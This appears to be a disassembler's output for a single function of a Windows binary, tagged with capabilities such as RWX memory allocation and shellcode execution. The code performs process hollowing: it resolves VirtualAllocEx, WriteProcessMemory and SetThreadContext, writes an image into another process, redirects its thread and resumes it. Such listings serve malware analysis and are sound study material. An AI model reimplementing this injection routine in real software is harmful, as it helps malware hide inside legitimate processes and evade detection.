Function at 0x10001820
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2f0
mov eax, dword [0x100405a0]
xor eax, esp
mov dword [esp + 0x2ec], eax
mov eax, dword [esp + 0x2f4]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x30c]
push str.VirtualAllocEx
push str.Kernel32.dll
mov esi, edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov ebp, eax
or eax, 0xffffffff
test esi, esi
mov dword [esp + 0x14], eax
je 0x10001a6b
push str.VirtualProtectEx
push 0x100374c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x30], eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
lea edi, [esp + 0x34]
lea ebx, [esp + 0x24]
lea eax, [esp + 0x40]
call fcn.10001720
mov esi, dword [esp + 0x24]
add esp, 0x10
test eax, eax
je 0x10001a69
mov eax, dword [esp + 0x24]
mov ebx, dword [esp + 0x20]
cmp dword [ebx + 0x34], eax
mov edi, dword [esp + 0x308]
mov dword [esp + 0x10], 0
jne 0x100018f8
mov ecx, dword [esp + 0x28]
cmp ecx, edi
jb 0x100018f8
lea edx, [esp + 0x14]
push edx
push 0x40
push ecx
push eax
push esi
mov dword [esp + 0x24], eax
call dword [esp + 0x40]
jmp 0x1000197c
test ebp, ebp
je 0x1000197c
push eax
push esi
call fcn.100016d0
add esp, 8
test eax, eax
je 0x10001921
mov eax, dword [ebx + 0x34]
push 0x40
push 0x3000
push edi
push eax
push esi
call ebp
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10], 0
jne 0x1000197c
cmp dword [ebx + 0xa0], 0
je 0x1000197c
cmp dword [ebx + 0xa4], 0
je 0x1000197c
push 0x40
push 0x3000
push edi
push 0
push esi
call ebp
test eax, eax
mov dword [esp + 0x10], eax
je 0x1000197c
mov eax, dword [ebx + 0xa0]
add eax, dword [esp + 0x1c]
mov ecx, dword [eax + 4]
add ecx, dword [eax]
je 0x1000197c
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
cmp eax, 1
jb 0x10001973
lea ecx, [ecx + eax*2]
mov edx, dword [ecx + 4]
add edx, dword [ecx]
mov eax, ecx
jne 0x10001960
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WriteProcessMemory
push 0x100374c0
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.SetThreadContext
push 0x100374c0
mov edi, eax
call ebp
push eax
call ebx
cmp dword [esp + 0x10], 0
mov ebp, eax
je 0x10001a4d
mov edx, dword [esp + 0xd4]
lea eax, [esp + 0x14]
push eax
push 4
lea ecx, [esp + 0x18]
push ecx
add edx, 8
push edx
push esi
call edi
mov edx, dword [esp + 0x308]
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
mov dword [ebx + 0x34], eax
call edi
test eax, eax
je 0x10001a3d
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x24]
mov dword [esp + 0x30], 0x10007
jne 0x10001a15
mov edx, dword [ebx + 0x28]
add edx, dword [ebx + 0x34]
mov dword [esp + 0xe0], edx
jmp 0x10001a21
mov ecx, dword [ebx + 0x28]
add ecx, eax
mov dword [esp + 0xe0], ecx
mov edi, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push edi
call ebp
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10001a69
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x18]
push eax
jmp 0x10001a5b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x18]
push ecx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
or esi, 0xffffffff
mov eax, esi
mov ecx, dword [esp + 0x2fc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001cc61
add esp, 0x2f0
ret